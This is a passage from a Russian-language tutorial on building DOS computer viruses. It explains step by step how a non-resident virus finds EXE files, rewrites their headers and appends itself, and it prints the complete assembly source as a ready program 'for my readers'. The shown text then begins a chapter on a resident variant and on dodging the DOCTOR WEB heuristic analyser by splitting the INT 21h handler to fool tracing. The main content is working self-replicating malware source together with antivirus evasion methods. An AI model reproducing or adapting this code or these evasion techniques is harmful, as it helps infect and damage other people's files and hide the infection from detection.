Выполняет вредные действия, предусмотренные автором .
5.
Определяет значения CS, IP, SS и SP,необходимые для правильной работы
программы,из которой стартовал вирус .
6.
Передает управление зараженной программе . Для этого вирус использует команду
безусловного дальнего перехода.Адрес перехода задается вычисленными CS и IP
.После этого начинается обычное выполнение программы .
1.5
Начало работы
Как
и COM - вирус, EXE - вирус лучше разрабатывать в формате COM .Это убережет нас
от многих ненужных трудностей .Поэтому напишем стандартное начало COM программы
:
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
Как
вы помните, директива "assume cs:prg,ds:prg,es :prg,ss:prg" назначает сегментные
регистры сегменту с именем PRG, а директива "org 100h" резервирует
место для PSP вирусной программы .
1.6
Вирус получает управление
В
отличие от COM - вируса,наша запускающая программа после запуска не будет
заменять в памяти свои первые три байта командой перехода на функцию DOS
завершения программы . По этой причине можно не бояться, что в заражаемый файл
попадет испорченный вирусный код (см. п. 1.17 предыдущей части).Отсюда следует,
что директива " org 110h" нам не потребуется .Значит,можно сразу переходить
" к делу " :
vir:
mov ax,cs
;AX = CS ...
db
2dh
;SUB AX,00h
sub_ds
dw 0
;
mov
ds,ax
;
mov
ss,ax
;
mov
ah,1ah
;Переключим DTA
lea dx,new_dta
;на соответству-
;ющий
массив в int 21h
;области данных
;вируса
...
При
компиляции относительные адреса всех ячеек памяти определяются относительно
DS, который указывает на начало PSP .Но в зараженной программе при передаче
управления на код вируса регистр CS будет указывать на параграф, с которого
начинается этот код, а не на начало PSP, а регистр DS вообще окажется
настроенным на начальный сегмент программы ! Единственный способ получить доступ
к данным вируса заключается в установке DS = CS.А с учетом размера PSP
в 10h параграфов значение DS следует уменьшить как раз на эту величину .При
заражении того или иного файла поле " sub_ds " для него будет заполняться
значением 10h.Поскольку запускающая программа имеет COM - формат, для нее
CS = DS = SS = = ES, и все они указывают на начало PSP . Поэтому значение DS
корректировать не нужно, и в поле " sub_ds " запускающей программы помещается
ноль . Дальше вирус переключает DTA на массив "new_dta", расположенный в области
данных вируса . Поскольку начальный сегмент программы станет известным при ее
запуске,можно будет без особого труда восстановить адрес исходной DTA.
1.7
Ищем подходящий файл
Теперь
наш вирус может заняться поиском файла-жертвы .Как мы договорились, вирус
будет заражать EXE
-
файлы, значит, такой файл и нужно найти . Но поскольку фрагмент, который
производит поиск файлов с тем или иным расширением уже был создан, остается
только воспользоваться им, внеся некоторые изменения :
mov
ax,old_ip
;Скопируем исхо-
mov
my_ip,ax
;дные параметры
mov
ax,old_cs
;заголовка зара-
mov
my_cs,ax
;женной програм-
mov
ax,to_16h
;мы в ячейки па-
mov
my_16h,ax
;мяти " my_XX ",
mov
ax,old_ss
;так как ячейки
mov
my_ss,ax
;" old_XX ", в
mov
ax,old_sp
;которых хранят-
mov
my_sp,ax
;ся параметры,
;будут
испорчены ;при заражении ;нового файла
find_first:mov
ah,4eh
;Поиск первого
mov cx,00100110b ;файла
:
lea
dx,maska
;archive, system
int
21h
;hidden ...
jnc r_3
jmp restore_dta
find_next:
mov ah,3eh
;Закроем непод-
mov
bx,descrypt
;ходящий файл
int 21h
jnc r_2
jmp
restore_dta
r_2:
mov ah,4fh
;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp
restore_dta
r_3:
mov cx,12
;Очистим об-
lea si,fn
;ласть " fn "
kill_name:
mov byte ptr [si],0
inc si
loop
kill_name
xor
si,si
;И перепишем
copy_name:
mov al,byte ptr new_dta[si + 01eh]
cmp al,0
;туда имя най-
je open_file
;денного файла
mov byte
ptr fn[si],al
inc si
jmp
copy_name
open_file:
mov ax,3d02h
;Откроем файл
lea dx,fn
;для чтения и
int 21h ;записи ...
jnc
found_size
jmp r_2
found_size:mov
descrypt,ax
;Определим раз-
mov
cx,word ptr [new_dta + 01ch]
mov
dx,word ptr [new_dta + 01ah]
sub
dx,1
;мер файла и вы-
sbb
cx,0
;чтем из него
;единицу
... call setpointer ;Установим ука-
;затель
на пос-
;ледний
символ
read_last:
mov cx,1
;Прочитаем
lea
dx,last
;последний
call
read
;символ ...
jnc
compar
jmp
close_file
compar:
cmp last,'7'
;Это "семерка" ?
jne mmm
;Нет
to_next: jmp find_next
;Да ! Файл уже
;заражен,
и надо
;искать
другой
Вы,
вероятно, уже поняли,что каждая новая программа составляется нами из ранее
разработанных блоков, как из конструктора.Это сильно упрощает работу и
сокращает время на составление программ .Было бы странно не воспользоваться
готовыми фрагментами и заново преодолевать все трудности !
Вместе
с тем, использованный фрагмент пришлось несколько модифицировать,чтобы он
смог правильно работать в новой программе .Первое внесенное изменение
состоит в дублировании исходных значений заголовка программы, из которой
стартовал вирус.В комментариях рассказано, зачем это
потребовалось.Следющее изменение вызвано тем, что EXE - файл может быть
длиннее 64 Кбайт.Поэтому для установки указателя на последний байт файла
недостаточно просто вычесть единицу из его размера.Например,пусть длина
файла равна 10000h байт . В этом случае из DTA будут считаны такие числа :CX =
0001h и DX = 0000h (см. выше) .Теперь для обращения к последнему элементу
файла из пары CX : DX следует вычесть "1" . Если просто вычесть единицу из DX,
то мы получим следующее :CX = 0001h, DX = 0FFFFh, то есть полностью
абсурдное значение . Чтобы такого не происходило, нужно применить команду "
вычитание с заемом ", которая будет отнимать от CX значение флага
переноса CF - " ноль " или " один " .
И
последнее - вместо непосредственной установки указателя мы будем просто вызывать
процедуру "setpointer ", текст которой несложен и рассматривается в
конце главы .
1.8
Читаем заголовок файла
Наш
EXE-вирус должен получать управление при старте зараженного файла .С этой
целью он может модифицировать заголовок файла,как показано в п. 1.4 . Проще
всего будет считать заголовок найденной EXE- программы с диска, после чего
сделать необходимые изменения и записать его обратно на диск.А так как
предыдущий фрагмент вирусной программы уже нашел подходящий EXE - файл, самое
время прочитать его заголовок :
mmm:
xor cx,cx
;Установим ука-
xor
dx,dx
;затель на нача-
call
setpointer
;ло файла ...
mov
ah,3fh
;И считаем инте-
mov bx,descrypt
;ресующую нас
mov
cx,27
;часть заголовка
;в
массив " hea- ;der " .Она как
lea
dx,header
;раз занимает 27
int 21h ;байт...
jnc
next_step
;
jmp
restore_dta
;Ошибка чтения !
Работа
фрагмента довольно проста и пояснений не требует .
1.9
Производим необходимые вычисления
Теперь
наша задача состоит в следующем : Используя числа, полученные из заголовка и
некоторые вспомогательные данные, рассчитать новые параметры заголовка
EXE - программы.Напомним,что необходимо найти :
Новые
значения CS0, IP0, SS0 и SP0
Новый
остаток от деления размера загрузочного модуля на 512
Новый
размер файла в 512 - ти байтовых страницах, округленный в большую сторону
Кроме
того,следует найти такое значение указателя, которое обеспечило бы запись
вирусного кода в конец файла . Это значение будет исходным для
процедуры " setpointer ", которая предназначена для установки
указателя в файле .
Перед
началом вычислений вирус должен "запомнить" исходные параметры заголовка, чтобы
можно было использовать их для расчета правильной точки входа и
переключения стека с области данных вируса на стек зараженной программы при
передаче ей управления :
;Запомним
пара- ;метры заголовка ;в переменных ;" old_XX " ...
next_step:
mov ax,word ptr header[14h]
mov
old_ip,ax
mov
ax,word ptr header[16h]
mov
old_cs,ax
mov
ax,word ptr header[0eh]
mov
old_ss,ax
mov
ax,word ptr header[10h]
mov
old_sp,ax
После
этого можно приступить к вычислениям.Но сначала следует привести принятые
для расчета формулы .Обозначим :
Остаток
от деления размера загрузочного модуля на 512 - Исходный : при вычислениях не
используется
Вычисленный
в результате коррекции ( в дальнейшем - " вычисленный " ) : Header
[02h]
Размер
файла в 512 - ти байтовых страницах - Исходный : File_size Вычисленный : Header
[04h]
Смещение
в параграфах стекового сегмента в загрузочном модуле -
Исходное
: SS0
Вычисленное
: Header [0eh]
Смещение
в параграфах кодового сегмента в загрузочном модуле -
Исходное
: СS0
Вычисленное
: Header [16h]
Значение
указателя стека SP при передаче управления программе -
Исходное
: SP0
Вычисленное
: Header [10h]
Значение
указателя команд IP при передаче управления программе -
Исходное
: IP0
Вычисленное
: Header [14h]
Размер
заголовка в параграфах -
Head_size
Длина
вируса в байтах -
Vir_len
Старшая
часть указателя для записи вируса в конец файла -
F_seek_high
Младшая
часть указателя -
F_seek_low
.
CS0,
IP0, SS0 и SP0 в этих расчетах не используются,но мы сохранили их в
выделенных ячейках памяти.
Тогда
можно привести такие формулы :
Header
[16h] = File_size * 32 - Head_size
Header
[04h] = (File_size * 512 + Vir_len) / 512 - частное от деления + 0,если
остаток
равен
нулю
+
1,если остаток
не
равен нулю
Header
[02h] = (File_size * 512 + Vir_len) / 512 - остаток от деления
Header
[14h] = 0
При
этом первая исполняемая команда вируса будет находиться по адресу : CS
: 0000h, CS = Header [16h].
Header
[0eh] = Header [16h], чтобы можно было обратиться к стеку вируса,задав в
качестве SP " расстояние " от начала вирусного кода до последних слов стека
.
Header
[10h] = смещению к New_stack + 96h, последнее слагаемое зависит от размера
вирусного стека .
F_seek_high = File_size * 512 ( High )
F_seek_low = File_size * 512 ( Low )
Все
расчеты по приведенным формулам можно выполнить с помощью таких программных
строк :
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
jmp find_next
good_size:
mov bp,ax
sub
ax,word ptr header[08h]
mov
to_16h,ax
;Это число запи-
;шется
в Header ;[16h]
mov
ax,bp
xor
dx,dx
call
mover
mov
f_seek_low,ax
mov
f_seek_high,dx
cmp
dx,word ptr [new_dta + 01ch]
jl
to_next
ja
infect
cmp
ax,word ptr [new_dta + 01ah]
jl
to_next
infect:
add ax,vir_len
adc
dx,0
mov
bx,512
div
bx
cmp
dx,0
je
round
inc
ax
round:
mov to_04h,ax
;Это число запи-
;шется
в Header ;[04h]
mov
to_02h,dx
mov
word ptr header[02h],dx
mov
ax,to_04h
mov
word ptr header[04h],ax
mov
word ptr header[14h],0
mov
ax,to_16h
mov
word ptr header[16h],ax
mov
word ptr header[0eh],ax
mov
word ptr header[10h],offset ds:new_stack + 96 mov sub_ds,10h
В
приведенном тексте широко используются команды :
ADC
- сложение с переносом .Эта команда определяет
сумму
задаваемых операндов и прибавляет к ней зна-
чение
флага переноса CF
и
SBB
- вычитание с заемом . Команда определяет раз-
ность
задаваемых операндов и вычитает из нее
зна-
чение
флага CF .
Такие
команды потребовались для того,
чтобы можно
было
учесть переполнения, возникающие при работе с
файлами
длиннее 64 Кбайт .Заметьте, что при разработке COM - вирусов они не
применялись вообще . Процедура " mover " заимствована из книги П .Абеля "Язык
ассемблера для IBM PC и
программирования" и предназначена для умножения двойного слова CX : DX на 16
методом сдвига .
Хотелось
бы сказать о том, как наш вирус определяет, содержит ли файл внутренние
оверлеи .Для этого он просто сравнивает размер файла в
параграфах,полученный из заголовка по смещению 04h с размером, считанным из
DTA.Верным признаком присутствия внутренних оверлеев является следующий
факт :
Размер,
полученный из DTA больше значения, вычисленного по параметрам заголовка .
Заражать " оверлейный " файл по принятому нами алгоритму нельзя,
и
наш вирус при обнаружении такого файла просто попробует найти другую EXE -
программу . Сам алгоритм заражения оверлейных файлов отличается
высокой сложностью и ненадежностью и в данном пособии не рассматривается
.Стоит заметить, что далеко не все вирусы корректно работают с такими файлами, а
многие просто их портят .
1.10
Заражаем EXE - программу
После
того, как скорректирован заголовок файла,можно его заразить.Напомним, что
при заражении вирус должен перезаписать на диск модифицированный заголовок,
после чего поместить свой код в конец файла
-
жертвы :
xor
dx,dx
;Устанавливаем
xor
cx,cx
;указатель на
call
setpointer
;начало файла
jc
close_file
;
lea
dx,header
;И записываем
mov
cx,27
;измененный за-
call
write
;головок на диск
jc
close_file
mov
dx,f_seek_low
;Устанавливаем
mov
cx,f_seek_high
;указатель на
call
setpointer
;определенное
;ранее
место в ;файле
jc
close_file
lea
dx,vir
;И записываем на
mov
cx,vir_len
;диск вирусный
call
write
;код
close_file:xor
ax,ax
;Закроем зара-
mov
ah,3eh
;женный файл
mov
bx,descrypt
;
int
21h
;
Строго
говоря, код вируса записывается не за последним байтом файла .Это имеет
место только когда размер файла кратен 512 .Во всех остальных случаях вирусный
код помещается в файл по смещению,определяемому размером файла в 512 - ти
байтовых страницах .Конечно, число страниц округляется в большую сторону .
Например, при размере файла в 1025 байт вирус будет считать, что его длина
составляет три полных страницы, а при размере в 4096 байт - всего восемь ! Такая
система сильно упрощает процесс создания вирусной программы и ее отладку
.
1.11
Восстанавливаем DTA
Итак,
вирус выполнил свою работу - найден и заражен подходящий EXE - файл .Дальше
необходимо переключить DTA с области данных вируса на область в PSP
программы, из которой он стартовал . Поскольку начальный сегмент программы
известен ( он хранится в регистре ES, которым мы не пользовались ),несложно
найти адрес исходной DTA .Он равен ES : 80h .И поэтому :
restore_dta:
push
ds
;DS -> в стек
mov
ah,1ah
;Восстановим
mov
dx,080h
;адрес DTA зара-
mov
bp,es
;женной програм-
mov
ds,bp
;мы с помощью
int
21h
;функции DOS 1Ah
pop
ds
;DS <- из стека
В
этом фрагменте адрес DTA устанавливается с помощью функции DOS 1Ah (
см.ПРИЛОЖЕНИЕ 1).Новый адрес должен быть помещен в DS : DX, что мы и сделали .
Команда " push ds " записывает в стек содержимое регистра DS, так как этот
регистр используется для задания адреса,и поэтому его значение будет
испорчено .
1.12
Восстанавливаем точку входа
Далее
необходимо передать управление зараженной программе ( конечно, не только что
зараженной, а той, из которой стартовал вирус ) .Для этого нужно восстановить ее
исходную точку входа,а также переключить стек с вирусной области данных на
стек, предусмотренный разработчиком программы .
Чтобы
произвести все необходимые вычисления,мы используем параметры заголовка
программы, сохраненные ранее в ячейках " my_XX " .
При
передаче управления на код вируса в регистр CS было помещено такое значение : CS
= NS0 + 10h + + Header [16h], и это значение нам известно - оно сейчас находится
в CS .С другой стороны, настоящая точка входа EXE - программы имеет сегментный
адрес CS = NS0 + 10h + my_cs . Таким образом, достаточно узнать, чему равна
сумма : NS0 + 10h, и прибавить к ней " my_cs " .Такая же ситуация возникает и
при восстановлении регистра SS, только здесь к NS0 + + 10h нужно прибавить "
my_ss " .Проще всего восстановить регистр DS, поскольку при загрузке EXE -
файла соблюдается условие : ES = DS = NS0.Для инициализации SP и IP можно
просто записать в них числа,хранящиеся в переменных " my_sp " и " my_ip ",
не производя при этом каких - либо сложных расчетов .С учетом этих
соображений можно записать :
mov
ax,my_ip
mov
old_ip,ax
mov
ax,my_cs
mov
old_cs,ax
mov
ax,my_16h
mov
to_16h,ax
mov
ax,my_sp
mov
sp,ax
;Инициализируем
;регистр
SP ... mov ax,cs
;Найдем sub ax,to_16h
;NS0 + 10h ... add my_ss,ax
;Вычислим SS ... mov ss,my_ss
;
add
ax,old_cs
;Вычислим CS ...
mov
old_cs,ax
;
mov
ax,es
;Инициализируем
mov
ds,ax
;регистр DS ...
jmp
$ + 2
;Сбросим очередь
;процессора
db
0eah
;И перейдем к
old_ip
dw 0
;исполнению
old_cs
dw 0
;программы ...
Команда
перехода к исполнению программы записана в виде машинного кода,чтобы при
необходимости ее можно было модифицировать .
И
еще - вы , вероятно, помните, что символами " NS0 " мы обозначили начальный
сегмент программы.
1.13
Область данных вируса
Приведем
данные, которыми оперирует уже почти созданный нами EXE - вирус :
;Собственная
DTA ;вируса
new_dta
db 128 dup (0)
;Маска
для поис- ;ка файла - жер- ;твы
maska
db '*.exe',0
;Буфер
для хра- ;нения имени ;найденного ;файла
fn
db 12 dup (' '),0
;Массив
для хра- ;нения заголовка
header
db 27 dup ( 0 )
descrypt
dw 0 ;Ячейка для дес-
;криптора
to_02h
dw
0 ;Эти
ячейки ис-
to_04h
dw
0
;пользуются для
to_16h
dw
0
;хранения пара-
my_ip
dw
0
;метров заголо-
my_cs
dw
0 ;вка
заражаемой
my_16h
dw
0
;программы и
my_ss
dw
0 ;той,
из которой
my_sp
dw
0
;стартовал
old_ss
dw
0
;вирус
old_sp
dw
0 ;
f_seek_low
dw
0 ;В
эти перемен-
f_seek_high
dw
0 ;нные
записывае-
;тся
значение ;указателя
;Вирусный
стек new_stack
dw 50 dup ( 0 )
last
db 0 ;Сюда помещается
;последний
байт
;заражаемого
;файла
db '7' ;Последний байт
;вирусного
кода
1.14
Используемые процедуры
Осталось
только привести тексты процедур, которыми пользуется вирус, и работа почти
закончена . Они выглядят так :
setpointer
proc
;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt
;затель в файле
int 21h ;на заданный
ret
;байт ...
setpointer
endp
read
proc
;Процедура чте-
mov
ah,3fh
;ния из файла...
mov
bx,descrypt
int 21h
ret
read
endp
write
proc
;Процедура за-
mov
ah,40h
;писи в файл ...
mov
bx,descrypt
int
21h
ret
write
endp
mover
proc
;Процедура умно-
mov
cx,04h
;жения двойного
left:
shl dx,1
;слова CX : DX
shl
ax,1
;на 16 методом
adc
dx,00h
;сдвига ...
loop
left
;
ret
;
mover
endp
Приведенные
процедуры очень просты и довольно эффективны . Процедура " mover " , как
уже говорилось,взята из книги П .Абеля " Язык ассемблера для IBM PC и
программирования ", естественно,без разрешения автора .
1.15
Работа завершена
Только
что мы разработали вирусную программу, заражающую EXE - файлы.Последний
штрих - напишем несколько строк, почти стандартных для всех
ассемблерных программ :
;Длина
вирусного ;кода в байтах
vir_len
equ $-vir
prg
ends
end
vir
1.16
Полный текст нерезидентного EXE - вируса
Для
лучшего понимания всего изложенного в этой главе приведем полный текст
написанной нами программы :
;
________________________________________________ ;|
| ;| Non - TSR EXE virus
| ;| Especially for my readers !
| ;|________________________________________________|
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
vir:
mov ax,cs
;AX = CS ...
db
2dh
;SUB AX,00h
sub_ds
dw 0
;
mov
ds,ax
;
mov
ss,ax
;
mov
ah,1ah
;Переключим DTA
lea dx,new_dta
;на соответству-
;ющий
массив в int 21h
;области данных
;вируса
...
mov
ax,old_ip
;Скопируем исхо-
mov
my_ip,ax
;дные параметры
mov
ax,old_cs
;заголовка зара-
mov
my_cs,ax
;женной програм-
mov
ax,to_16h
;мы в ячейки па-
mov
my_16h,ax
;мяти " my_XX ",
mov
ax,old_ss
;так как ячейки
mov
my_ss,ax
;" old_XX ", в
mov
ax,old_sp
;которых хранят-
mov
my_sp,ax
;ся параметры,
;будут
испорчены
;при
заражении
;нового
файла
find_first:mov
ah,4eh
;Поиск первого
mov cx,00100110b ;файла
:
lea
dx,maska
;archive, system
int
21h
;hidden ...
jnc r_3
jmp restore_dta
find_next:
mov ah,3eh
;Закроем непод-
mov
bx,descrypt
;ходящий файл
int 21h
jnc r_2
jmp
restore_dta
r_2:
mov ah,4fh
;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp
restore_dta
r_3:
mov cx,12
;Очистим об-
lea si,fn
;ласть " fn "
kill_name:
mov byte ptr [si],0
inc si
loop
kill_name
xor
si,si
;И перепишем
copy_name:
mov al,byte ptr new_dta[si + 01eh]
cmp al,0
;туда имя най-
je open_file
;денного файла
mov byte
ptr fn[si],al
inc si
jmp
copy_name
open_file:
mov ax,3d02h
;Откроем файл
lea dx,fn
;для чтения и
int 21h ;записи ...
jnc
found_size
jmp r_2
found_size:mov
descrypt,ax
;Определим раз-
mov
cx,word ptr [new_dta + 01ch]
mov
dx,word ptr [new_dta + 01ah]
sub
dx,1
;мер файла и вы-
sbb
cx,0
;чтем из него
;единицу
... call setpointer ;Установим ука-
;затель
на пос-
;ледний
символ
read_last:
mov cx,1
;Прочитаем
lea
dx,last
;последний
call
read
;символ ...
jnc
compar
jmp
close_file
compar:
cmp last,'7'
;Это "семерка" ?
jne mmm
;Нет
to_next: jmp find_next
;Да ! Файл уже
;заражен,
и надо
;искать
другой
mmm:
xor cx,cx
;Установим ука-
xor
dx,dx
;затель на нача-
call
setpointer
;ло файла ...
mov
ah,3fh
;И считаем инте-
mov bx,descrypt
;ресующую нас
mov
cx,27
;часть заголовка
;в
массив " hea-
;der
" .Она как lea dx,header
;раз занимает 27
int 21h ;байт...
jnc
next_step
;
jmp
restore_dta
;Ошибка чтения !
next_step:
mov ax,word ptr header[14h]
mov
old_ip,ax
mov
ax,word ptr header[16h]
mov
old_cs,ax
mov
ax,word ptr header[0eh]
mov
old_ss,ax
mov
ax,word ptr header[10h]
mov
old_sp,ax
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
jmp find_next
good_size:
mov bp,ax
sub
ax,word ptr header[08h]
mov
to_16h,ax
;Это число запи-
;шется
в Header
;[16h]
mov
ax,bp
xor
dx,dx
call
mover
mov
f_seek_low,ax
mov
f_seek_high,dx
cmp
dx,word ptr [new_dta + 01ch]
jl
to_next
ja
infect
cmp
ax,word ptr [new_dta + 01ah]
jl
to_next
infect:
add ax,vir_len
adc
dx,0
mov
bx,512
div
bx
cmp
dx,0
je
round
inc
ax
round:
mov to_04h,ax
;Это число запи-
;шется
в Header
;[04h]
mov
to_02h,dx
mov
word ptr header[02h],dx
mov
ax,to_04h
mov
word ptr header[04h],ax
mov
word ptr header[14h],0
mov
ax,to_16h
mov
word ptr header[16h],ax
mov
word ptr header[0eh],ax
mov
word ptr header[10h],offset ds:new_stack + 96
mov
sub_ds,10h
xor
dx,dx
;Устанавливаем
xor
cx,cx
;указатель на
call
setpointer
;начало файла
jc
close_file
;
lea
dx,header
;И записываем
mov
cx,27
;измененный за-
call
write
;головок на диск
jc
close_file
mov
dx,f_seek_low
;Устанавливаем
mov
cx,f_seek_high
;указатель на
call
setpointer
;определенное
;ранее
место в
;файле
jc
close_file
lea
dx,vir
;И записываем на
mov
cx,vir_len
;диск вирусный
call
write
;код
close_file:xor
ax,ax
;Закроем зара-
mov
ah,3eh
;женный файл
mov
bx,descrypt
;
int
21h
;
restore_dta:
push
ds
;DS -> в стек
mov
ah,1ah
;Восстановим
mov
dx,080h
;адрес DTA зара-
mov
bp,es
;женной програм-
mov
ds,bp
;мы с помощью
int
21h
;функции DOS 1Ah
pop
ds
;DS <- из стека
mov
ax,my_ip
mov
old_ip,ax
mov
ax,my_cs
mov
old_cs,ax
mov
ax,my_16h
mov
to_16h,ax
mov
ax,my_sp
mov
sp,ax
;Инициализируем
;регистр
SP ... mov ax,cs
;Найдем sub ax,to_16h
;NS0 + 10h ... add my_ss,ax
;Вычислим SS ... mov ss,my_ss
;
add
ax,old_cs
;Вычислим CS ...
mov
old_cs,ax
;
mov
ax,es
;Инициализируем
mov
ds,ax
;регистр DS ...
jmp
$ + 2
;Сбросим очередь
;процессора
db
0eah
;И перейдем к
old_ip
dw 0
;исполнению
old_cs
dw 0
;программы ...
;Procedure
area ...
;*************************************************
setpointer
proc
;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt
;затель в файле
int 21h ;на заданный
ret
;байт ...
setpointer
endp
read
proc
;Процедура чте-
mov
ah,3fh
;ния из файла...
mov
bx,descrypt
int 21h
ret
read
endp
write
proc
;Процедура за-
mov
ah,40h
;писи в файл ...
mov
bx,descrypt
int
21h
ret
write
endp
mover
proc
;Процедура умно-
mov
cx,04h
;жения двойного
left:
shl dx,1
;слова CX : DX
shl
ax,1
;на 16 методом
adc
dx,00h
;сдвига ...
loop
left
;
ret
;
mover
endp
;Data
area ...
;*************************************************
;Собственная
DTA
;вируса
new_dta
db 128 dup (0)
;Маска
для поис-
;ка
файла - жер-
;твы
maska
db '*.exe',0
;Буфер
для хра-
;нения
имени
;найденного
;файла
fn
db 12 dup (' '),0
;Массив
для хра-
;нения
заголовка header
db 27 dup ( 0 )
descrypt
dw 0 ;Ячейка для дес-
;криптора
to_02h
dw
0 ;Эти
ячейки ис-
to_04h
dw
0
;пользуются для
to_16h
dw
0
;хранения пара-
my_ip
dw
0
;метров заголо-
my_cs
dw
0 ;вка
заражаемой
my_16h
dw
0
;программы и
my_ss
dw
0 ;той,
из которой
my_sp
dw
0
;стартовал
old_ss
dw
0
;вирус
old_sp
dw
0 ;
f_seek_low
dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся
значение
;указателя
;Вирусный
стек new_stack
dw 50 dup ( 0 )
last
db 0 ;Сюда помещается
;последний
байт
;заражаемого
;файла
db '7' ;Последний байт
;вирусного
кода
;Длина
вирусного
;кода
в байтах
vir_len equ $-vir
prg
ends
end
vir
1.17
Несколько слов об испытании вируса
В
принципе,процесс испытания созданного вируса ничем не отличается от ранее
рассмотренного .Обращаю внимание читателей только на одну деталь :
Отладчик
AFD_RUS .COM корректно работает только с неупакованными EXE - файлами.Если вы
попытаетесь с его помощью отладить EXE - программу, упакованную какой - либо
утилитой сжатия ( например, DIET, LZ_ EXE или PKLITE ), то из этого ничего не
получится. Конечно, программа не испортится,но результаты работы отладчика
будут неверными .Для отладки упакованных программ можно воспользоваться
TURBO DEBUGGER фирмы BORLAND INTERNATIONAL, но еще лучше распаковать
такую программу и применить отладчик попроще.
*
Если
в программе есть команды,изменяющие SS и SP, то при " прохождении " ее
AFD_RUS.COM результаты работы отладчика могут быть совершенно неожиданными.
Это происходит потому, что указанный отладчик использует стек исследуемой
им программы.
**
Все
только что отмеченные недостатки AFD_шки ни в коей мере не дают сделать
вывод,что этот отладчик плохой. Hаоборот,он во многих отношениях
значительно превосходит даже TURBO DEBUGGER. Возможностей AFD_RUS
вполне достаточно при отладке примерно 95 % программ.
ГЛАВА
2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE
- ВИРУСА
2.1
Алгоритм работы резидентного
EXE
- вируса
Для
начала рассмотрим алгоритм работы резидентного вируса, заражающего EXE - файлы
.Он очень похож на соответствующий алгоритм для COM - вируса, поэтому подробно
рассматриваться не будет :
Секция
инициализации выполняет следующие действия:
1.
Получает управление при запуске зараженной программы .
2.
Проверяет, установлена ли в память резидентная часть вируса .
3.
Если резидентная часть не установлена,выполняются следующие действия :
a.)
Отыскивается свободный блок памяти достаточного для размещения вируса
размера .
б.)
Код вируса копируется в найденный блок памяти .
в.)
В таблице векторов прерываний соответствующие вектора заменяются точками
входа в вирусные обработчики .
г.)
Определяются значения CS, IP, SS и SP,необходимые для правильной работы
программы , из которой стартовал вирус .
д.)
Управление передается зараженной программе.
Для
этого вирус использует команду безусловного дальнего перехода или возврата
из дальней процедуры.Адрес перехода задается вычисленными CS и IP.
После этого начинается обычное выполнение программы .
В
том случае, если резидентная часть вируса уже находится в памяти, он просто
выполняет действия перечисленные в п.п. " Г " и " Д " .
Резидентная
часть работает по такому " сценарию ":
1.
Анализирует все вызовы системного прерывания INT 21h с целью выявить переход
оператора в новый каталог или смену текущего диска .
2.
Если обнаружится смена текущего диска или каталога, резидентная часть
должна :
а.)
Сохранить исходное состояние вычислительной системы .
б.)
Найти на диске подходящий EXE - файл .
в.)
Записать вирусный код в конец этого файла .
г.)
Скорректировать заголовок файла ( см. п.1.4
гл.
1 ч. 2 ) .
д.)
Восстановить исходное состояние вычислительной системы и передать ей
управление .
Как
и в случае с COM - вирусом, заражение файлов выполняет только резидентная часть
.Вредные действия можно " возложить " как на резидентную, так и на
транзитную часть ( на транзитную - проще, а на резидентную - обычно сложнее . )
.
2.2
Защита от программ - антивирусов
Честно
говоря, эта глава просто является обобщением всех предыдущих . Поэтому все
основное уже рассказано .Но есть несколько весьма интересных и
заслуживающих вашего внимания вопросов,о которых почти не упоминается
в литературе .Речь идет о построении вирусов, " невидимых " для
антивирусных программ.В самом деле,один - единственный "обыск" с помощью
программы DOCTOR WEB на диске или в памяти может свести все наши усилия к
нулю . Поэтому самое время поговорить о способах скрытия вирусом своего наличия
в вычислительной системе .
Технику
защиты вирусной программы от обнаружения мы рассмотрим на примере всем
известного антивируса DOCTOR WEB.Именно эта программа является
наиболее удачной и используемой.
Как
вы знаете, для обнаружения неизвестных вирусов DOCTOR WEB использует так
называемый эвристический анализатор, моделирующий действия человека,
желающего обнаружить новый вирус.
Все
изложенное ниже базируется на следующем предположении :эвристический
анализатор, по существу, представляет собой комбинацию пошагового отладчика и
программы, анализирующей результаты его работы . Перейдем к делу . Если вы "
заразите " ваш компьютер написанным ранее резидентным COM - вирусом, а
потом запустите DOCTOR WEB ( режим тестирования памяти должен быть включен ), то
вирус будет обнаружен как неизвестный резидентный .Кроме того,
антивирусная программа определит адрес в памяти, по которому находится
вирусный код . Если вы просмотрите содержимое памяти по этому адресу,то
увидите, что DOCTOR WEB " ошибся ".А именно - по указанному адресу расположен
собственно не сам вирус,а только его обработчик прерывания INT 21h.На остальные
вирусные обработчики антивирус не обратил внимания . Исходя из этого можно
сделать такие выводы :
1.)
Эвристический анализатор определяет, на какой адрес указывает вектор прерывания
INT 21h в таблице векторов .
2.)
Далее вступают в действие следующие соображения : Обработчик прерывания INT
21h почти никогда не может находиться в самых младших (например,в
области данных BIOS) или в самых старших (например, в последнем сегменте)
адресах основной памяти .Поэтому при обнаружении такой ситуации эвристический
анализатор считает, что система заражена неизвестным вирусом,и в качестве
адреса, по которому расположен его код , выдает адрес обработчика INT 21h .
Как
видим, все не так уже и сложно.Далее пользователь должен решать
сам,действительно ли вирус присутствует в его компьютере. Отметим, что для
решения этого вопроса нужно иметь довольно высокую квалификацию, поэтому
для подавляющего большинства пользователей задача представляется
неразрешимой.
2.3
Как реализовать защиту от эвристического анализа
Очевидно,
вирус не будет найден в памяти,если разместить обработчик INT 21h в той ее
части, в которую загружаются пользовательские программы .С другой
стороны, наш вирус помещает свой код в самые старшие адреса основной памяти .
Единственным выходом из положения было бы написание обработчика ,
состоящего из двух частей. При этом "первая" часть должна загружаться в область
памяти,выделенную для загрузки прикладных программ,а "вторую" - вместе с
остальной частью вируса - следует записать в старшие адреса основной памяти
.В случае возникновения прерывания INT 21h управление будет передаваться первой
части, которая затем передаст его второй.
К
сожалению, данный метод себя не оправдывает.DOCTOR WEB в процессе
эвристического анализа просто трассирует обработчик INT 21h до входа в его
исходный ( системный ) код, одновременно контролируя адрес обработчика, и
при получении любых подозрительных результатов выдает сообщение о наличии
неизвестного вируса .Поэтому необходимо сделать так, чтобы при
трассировании "первой" части под управлением отладчика вызывался системный
обработчик, а при "нормальном" трассировании - вирусный ( эксперименты
